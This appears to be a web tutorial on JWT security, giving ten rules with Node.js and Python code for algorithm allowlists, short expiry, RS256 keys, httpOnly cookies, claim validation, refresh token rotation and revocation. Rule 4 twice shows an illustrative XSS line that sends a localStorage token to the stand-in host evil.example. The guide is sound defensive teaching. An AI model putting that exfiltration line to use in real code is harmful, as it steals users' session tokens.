Skip to main content
JWT Guide

JWT Security Best Practices —
10 Rules to Avoid Common Vulnerabilities

Short expiry, RS256, alg:none rejection, httpOnly cookies, refresh token rotation, claim validation — every rule that matters, with production-ready code.

10 min read·Updated May 2026

JWT security best practices exist because the format is deceptively easy to get wrong: a token that looks valid can be forged, a payload that seems opaque is actually readable by anyone, and a library that "just works" may be skipping signature verification entirely. These ten rules cover every layer — algorithm choice, expiry, storage, claim validation, key entropy, and library hygiene — with concrete code for each one.

Rule 1: Always Validate the Algorithm — Reject alg:none

The JWT header contains an alg field. The specification permits a value of none, which means no signature is applied. Several well-known libraries in their early versions accepted alg:none tokens as fully valid — meaning an attacker could take any token, strip the signature, set "alg":"none" in the header, and the server would accept it as authentic without any knowledge of the signing secret.

The fix is one line: always pass an explicit algorithm allowlist when calling verify(). Never rely on whatever algorithm the token header claims to use.

Vulnerable — Node.js server.js
const jwt = require('jsonwebtoken');

// ❌ No algorithms option — accepts alg:none tokens
const payload = jwt.verify(token, process.env.JWT_SECRET);
Fixed — Node.js server.js
const jwt = require('jsonwebtoken');

// ✅ Explicit allowlist — alg:none and RS256 will be rejected
const payload = jwt.verify(token, process.env.JWT_SECRET, {
  algorithms: ['HS256'],   // only HS256 is accepted
});

// For RS256, pass the public key and restrict accordingly:
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
});

If you are using Python with PyJWT, the same principle applies — always pass algorithms=["HS256"] (or ["RS256"]) to jwt.decode(). Omitting it raised a deprecation warning in older versions and raises an error in PyJWT 2.x, but explicitly passing it is more defensive than relying on library defaults.

Rule 2: Use Short Expiry (exp) — 15 Minutes for Access Tokens

A JWT with a 24-hour or 7-day expiry is a session hijacking time bomb. Once issued, a JWT cannot be invalidated before its expiry unless you maintain server-side state — which defeats the stateless benefit. A stolen access token is valid for the entire duration of its exp window.

The standard pattern: 15 minutes for access tokens, 7 days for refresh tokens. The access token handles API authorization; the refresh token handles silent renewal. When the access token expires, the client silently exchanges the refresh token for a new pair without asking the user to log in again.

Node.js — issuing access + refresh tokens auth.js
const jwt = require('jsonwebtoken');

function issueTokens(userId, role) {
  const accessToken = jwt.sign(
    { sub: userId, role },
    process.env.ACCESS_SECRET,
    { algorithm: 'HS256', expiresIn: '15m' }  // ✅ short
  );

  const refreshToken = jwt.sign(
    { sub: userId, jti: generateId() },  // jti for revocation
    process.env.REFRESH_SECRET,
    { algorithm: 'HS256', expiresIn: '7d' }
  );

  return { accessToken, refreshToken };
}
Access Token
  • Expiry: 15 minutes
  • Stolen token window: 15 minutes max
  • Sent on: every API request
  • Storage: memory or httpOnly cookie
Refresh Token
  • Expiry: 7 days
  • Sent on: only to /auth/refresh
  • Storage: httpOnly cookie only
  • Revocable: yes, via server-side table

Rule 3: Use RS256 for Distributed Systems, HS256 for Single-Server

HS256 (HMAC-SHA256) uses one shared secret for both signing and verification. That secret must be distributed to every service that validates tokens — which means every microservice holds a secret that can mint tokens on behalf of your entire authentication system. Compromise any one microservice and an attacker can forge tokens for any user.

RS256 uses a private/public key pair. Only the authentication service holds the private key. Every other service holds only the public key, which can only verify — never sign. Public keys can be distributed freely via a JWKS endpoint without security risk.

Node.js — RS256 sign & verify auth.js
const fs  = require('fs');
const jwt = require('jsonwebtoken');

// Auth service — holds the private key, signs tokens
const privateKey = fs.readFileSync('./keys/private.pem');

function signToken(payload) {
  return jwt.sign(payload, privateKey, {
    algorithm: 'RS256',
    expiresIn:  '15m',
  });
}

// Any downstream service — holds only the public key, verifies tokens
const publicKey = fs.readFileSync('./keys/public.pem');

function verifyToken(token) {
  return jwt.verify(token, publicKey, {
    algorithms: ['RS256'],   // ✅ explicit allowlist still required
  });
}

// Generate a 2048-bit RSA key pair (run once, store securely):
// openssl genrsa -out private.pem 2048
// openssl rsa -in private.pem -pubout -out public.pem

Choose HS256 when you control a single application that both issues and verifies tokens and the secret never leaves that one process. Choose RS256 as soon as more than one independently deployed service needs to verify tokens.

Rule 4: Store Tokens in httpOnly Cookies, Not localStorage

localStorage is accessible to every line of JavaScript running on your page. A single reflected or stored XSS vulnerability — even one in a third-party analytics script you included — can exfiltrate every token stored there. The attacker's payload is as simple as fetch('https://evil.example/steal?t=' + localStorage.getItem('token')).

httpOnly cookies are completely inaccessible to JavaScript. The browser attaches them to requests automatically but no script can read them. Combine with Secure (HTTPS only) and SameSite=Strict to eliminate both XSS-based token theft and CSRF.

Avoid — localStorage (readable by XSS)
// ❌ Any XSS payload can read this
localStorage.setItem('access_token', token);

// Attacker's XSS payload steals it in one line:
fetch(`https://evil.example/steal?t=${localStorage.getItem('access_token')}`);
Recommended — httpOnly cookie (Node.js / Express) auth.js
// ✅ Set-Cookie response header — JavaScript cannot read this cookie
res.cookie('access_token', accessToken, {
  httpOnly: true,     // ← not accessible to document.cookie
  secure:   true,     // ← HTTPS only
  sameSite: 'Strict', // ← no cross-site request forgery
  maxAge:   15 * 60 * 1000, // 15 minutes in ms
  path:     '/',
});

// Resulting Set-Cookie header:
// Set-Cookie: access_token=eyJ...; HttpOnly; Secure; SameSite=Strict; Max-Age=900; Path=/

The tradeoff: httpOnly cookies require CORS to be handled correctly for cross-origin SPAs, and you must implement CSRF protection (a synchronizer token or double-submit cookie). That is a worthwhile trade for the complete elimination of XSS-based token theft.

Rule 5: Validate iss (Issuer) and aud (Audience) Claims

Without issuer and audience validation, a token issued by one service can be accepted by another. Imagine a microservices architecture where your payment service issues a JWT scoped to billing operations. If your user-profile service does not check the aud claim, a compromised payment token could be replayed against the profile API — not because the signature is invalid, but because the profile service is accepting any valid JWT regardless of what it was intended for.

Node.js — sign with iss & aud, verify both auth.js
const jwt = require('jsonwebtoken');

// Sign — always include iss and aud
const token = jwt.sign(
  {
    sub: userId,
    role: 'user',
    iss: 'https://auth.example.com',     // who issued this
    aud: 'https://api.example.com',      // who should accept it
  },
  process.env.JWT_SECRET,
  { algorithm: 'HS256', expiresIn: '15m' }
);

// Verify — reject tokens not issued by expected issuer or for wrong audience
const payload = jwt.verify(token, process.env.JWT_SECRET, {
  algorithms: ['HS256'],
  issuer:   'https://auth.example.com',   // ✅ checked automatically
  audience: 'https://api.example.com',   // ✅ checked automatically
});

// jsonwebtoken throws JsonWebTokenError if iss or aud mismatch

The same rules apply in Python. Pass audience="https://api.example.com" and issuer="https://auth.example.com" to jwt.decode() in PyJWT. The library raises InvalidAudienceError or InvalidIssuerError automatically on mismatch.

Rule 6: Rotate Refresh Tokens — Make Each One Single-Use

With static refresh tokens, a stolen token is valid until it expires (potentially 30 days). The server has no way to know a token was stolen because every use looks like a legitimate client request. Refresh token rotation converts each use into a detectable event.

The mechanism: each time the client exchanges a refresh token for a new access token, the server issues a new refresh token and immediately invalidates the old one. If an attacker steals a refresh token and uses it before the legitimate client does, the legitimate client's next renewal will fail — because its token is already used. A server that detects "a token from this token family was used after being rotated" can revoke the entire family as a theft signal.

Node.js — refresh token rotation endpoint auth.js
const jwt   = require('jsonwebtoken');
const db    = require('./db');
const { v4: uuidv4 } = require('uuid');

async function rotateRefreshToken(incomingRefreshToken) {
  // 1. Verify signature and expiry
  let payload;
  try {
    payload = jwt.verify(incomingRefreshToken, process.env.REFRESH_SECRET, {
      algorithms: ['HS256'],
    });
  } catch {
    throw new Error('Invalid refresh token');
  }

  // 2. Check the token's jti is still in the valid-token table
  const stored = await db.findRefreshToken(payload.jti);
  if (!stored) {
    // Token already rotated — possible theft; revoke entire family
    await db.revokeTokenFamily(payload.family);
    throw new Error('Refresh token reuse detected');
  }

  // 3. Invalidate the old token, issue a new pair
  await db.deleteRefreshToken(payload.jti);

  const newJti = uuidv4();
  const newRefreshToken = jwt.sign(
    { sub: payload.sub, jti: newJti, family: payload.family },
    process.env.REFRESH_SECRET,
    { algorithm: 'HS256', expiresIn: '7d' }
  );
  await db.saveRefreshToken(newJti, payload.sub, payload.family);

  const newAccessToken = jwt.sign(
    { sub: payload.sub },
    process.env.ACCESS_SECRET,
    { algorithm: 'HS256', expiresIn: '15m' }
  );

  return { newAccessToken, newRefreshToken };
}

Rule 7: Never Put Sensitive Data in the Payload

This cannot be overstated: the JWT payload is Base64Url-encoded, not encrypted. The encoding is reversible by anyone — no key required. Every claim in the payload is visible to anyone who intercepts the token in transit, reads it from a log file, extracts it from a URL parameter, or executes an XSS payload against your application.

Never include in JWT claims
  • Passwords or password hashes
  • Social Security numbers or national ID numbers
  • Credit card numbers or bank account details
  • Encryption keys, API secrets, or private keys
  • Health records, medical identifiers (HIPAA-regulated data)
  • Any PII whose exposure would trigger regulatory notification requirements
Appropriate claims
  • sub — opaque user ID (UUID or integer, not email)
  • role or scope — authorization level
  • iat, exp — issued-at and expiry timestamps
  • iss, aud — issuer and intended audience
  • jti — unique token ID for revocation tracking

If downstream services genuinely need user attributes like name or email for display purposes, add a separate user-info API endpoint. The token proves identity; the API delivers profile data. Do not conflate the two.

Rule 8: Use a Signing Key with Adequate Entropy

HS256 tokens can be brute-forced offline. An attacker who intercepts a token can run dictionary attacks against the signature — no server interaction required. A short or human-memorable secret provides almost no protection because the attacker can test millions of candidates per second on commodity hardware.

The NIST recommendation for HMAC keys matches the hash output length. For HS256 that means a minimum of 256 bits (32 bytes) of random entropy. For HS384 and HS512, use 384 and 512 bits respectively.

Generate a 256-bit secret — Node.js generate-secret.js
const { randomBytes } = require('node:crypto');

// 32 bytes = 256 bits — minimum for HS256
const secret = randomBytes(32).toString('hex');
console.log(secret);
// e.g. "a3f1c2d9e4b7a8f0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4"
// Store this in an environment variable, never in source code
Generate a 256-bit secret — Python generate_secret.py
import secrets

# secrets.token_hex(32) gives 32 bytes = 256 bits of CSPRNG entropy
secret = secrets.token_hex(32)
print(secret)
# Store in an environment variable — never hardcode it

# You can also use the command line:
# python3 -c "import secrets; print(secrets.token_hex(32))"
# Or with openssl:
# openssl rand -hex 32

Store the generated secret in an environment variable or a secrets manager (AWS Secrets Manager, HashiCorp Vault, GCP Secret Manager). Never commit signing secrets to source control — not even in a private repository.

Rule 9: Implement Token Revocation for Logout

Stateless JWTs have no built-in revocation. When a user logs out, the token remains cryptographically valid until its expiry. Three strategies address this; choose the one that matches your scale and latency requirements.

1
Short-lived access tokens (passive revocation)
Keep access token expiry at 15 minutes. On logout, invalidate the refresh token server-side so no new access tokens can be issued. The current access token remains technically valid for up to 15 minutes — acceptable for most threat models. No extra infrastructure needed.
2
Redis-backed JTI denylist (active revocation)
On logout, add the token's jti claim to a Redis set with a TTL matching the token's remaining lifetime. On every verify call, check the denylist before accepting the token. Immediate revocation with sub-millisecond Redis lookups.
// On logout — add jti to Redis denylist
const ttl = payload.exp - Math.floor(Date.now() / 1000);
await redis.set(`jti:denylist:${payload.jti}`, 1, 'EX', ttl);

// On verify — check denylist before trusting the token
const revoked = await redis.exists(`jti:denylist:${payload.jti}`);
if (revoked) throw new Error('Token has been revoked');
3
Refresh token rotation (revocation via family invalidation)
Combined with Rule 6: deleting the user's refresh token family from the database on logout prevents any future access tokens being issued. Existing short-lived access tokens still live out their remaining window, but that window is small.

Rule 10: Pin Library Versions and Monitor CVEs

JWT security failures are not always in your code — they are frequently in the libraries you depend on. Several critical vulnerabilities in widely-used JWT libraries have been disclosed in recent years. Running unpinned or unaudited dependencies is a silent exposure.

CVE-2022-23529 — jsonwebtoken (npm)

A remote code execution vulnerability in jsonwebtoken versions before 9.0.0 when the secret is provided as a plain object. Fix: upgrade to jsonwebtoken@9.0.0 or later.

python-jose — algorithm confusion issues

The python-jose library has had multiple issues with algorithm confusion and alg:none handling. The PyJWT library with strict mode enabled is the safer choice for Python projects.

Audit your JWT dependencies shell
# Node.js — check for known vulnerabilities
npm audit --audit-level=moderate

# Check current jsonwebtoken version and latest
npm list jsonwebtoken
npm show jsonwebtoken version

# Python — pip-audit scans installed packages against PyPI advisory DB
pip install pip-audit
pip-audit

# Pin your dependency exactly in package.json
# "jsonwebtoken": "9.0.2"   ← not "^9.0.0" (caret allows minor bumps)

# GitHub: enable Dependabot alerts in your repo settings
# → Settings → Security → Dependabot alerts → Enable

Subscribe to the GitHub Advisory Database for the packages you use. Set up Dependabot or Renovate to open PRs automatically when security patches are released. A patch that takes 30 minutes to merge is far cheaper than a breach investigation.

Quick Reference Summary

Rule What to do Threat mitigated
1 — Algorithm validation Pass explicit algorithms allowlist to verify() alg:none token forgery
2 — Short expiry 15 min access / 7 day refresh Session hijacking blast radius
3 — RS256 for distributed Asymmetric keys when multiple services verify Shared secret compromise
4 — httpOnly cookies Never store in localStorage XSS token theft
5 — iss + aud validation Verify issuer and audience on every token Cross-service token replay
6 — Refresh token rotation Single-use refresh tokens with family revocation Stolen refresh token reuse
7 — No sensitive payload IDs and roles only; look up PII server-side Data exposure via interception or logs
8 — 256-bit entropy key Generate with CSPRNG; store in env var/vault Offline brute-force of HS256 signature
9 — Token revocation JTI denylist in Redis or refresh token family table Post-logout token reuse
10 — Library CVE hygiene Pin versions, run npm audit / pip-audit, Dependabot Known library vulnerabilities

Inspect Your JWT Claims Instantly

Paste any JWT into the free decoder to see the algorithm, issuer, audience, expiry, and every claim in the payload — fully client-side, no server requests, nothing leaves your browser.

Open Free JWT Decoder →

FAQ

What is the alg:none vulnerability in JWT? +

The JWT specification allows an algorithm value of none, meaning no signature is applied or checked. Some early library implementations accepted tokens with alg:none as valid, allowing an attacker to forge any token payload without knowing the signing secret. The fix is to always pass an explicit algorithm allowlist when calling your verification function — never let the token header dictate which algorithm to use.

Why should JWTs be stored in httpOnly cookies instead of localStorage? +

localStorage is accessible to every JavaScript script running on your page, including any injected by an XSS vulnerability or a compromised third-party dependency. An attacker who achieves XSS can read and exfiltrate tokens from localStorage with a single line of JavaScript. httpOnly cookies cannot be read by JavaScript at all — the browser attaches them to requests automatically but they are invisible to any script. Combined with SameSite=Strict and Secure, httpOnly cookies eliminate the most common token theft vector entirely.

How do rotating refresh tokens detect token theft? +

With refresh token rotation, every use of a refresh token immediately invalidates it and issues a new one. If an attacker steals a refresh token and uses it before the legitimate client does, the legitimate client's next renewal will fail — its token is already consumed. More importantly, when the server sees a token from an already-rotated token being presented again, it can treat that as a theft signal and revoke the entire token family, kicking out both the attacker and prompting the real user to log in again.

What data should never be stored in a JWT payload? +

The JWT payload is Base64Url-encoded, not encrypted — anyone who holds the token can decode and read every claim without any key. Never store passwords or password hashes, Social Security numbers, credit card or bank details, API secrets or encryption keys, or health records. Limit payload claims to opaque identifiers like user ID and role. Look up sensitive data server-side using those identifiers when a request arrives.

Related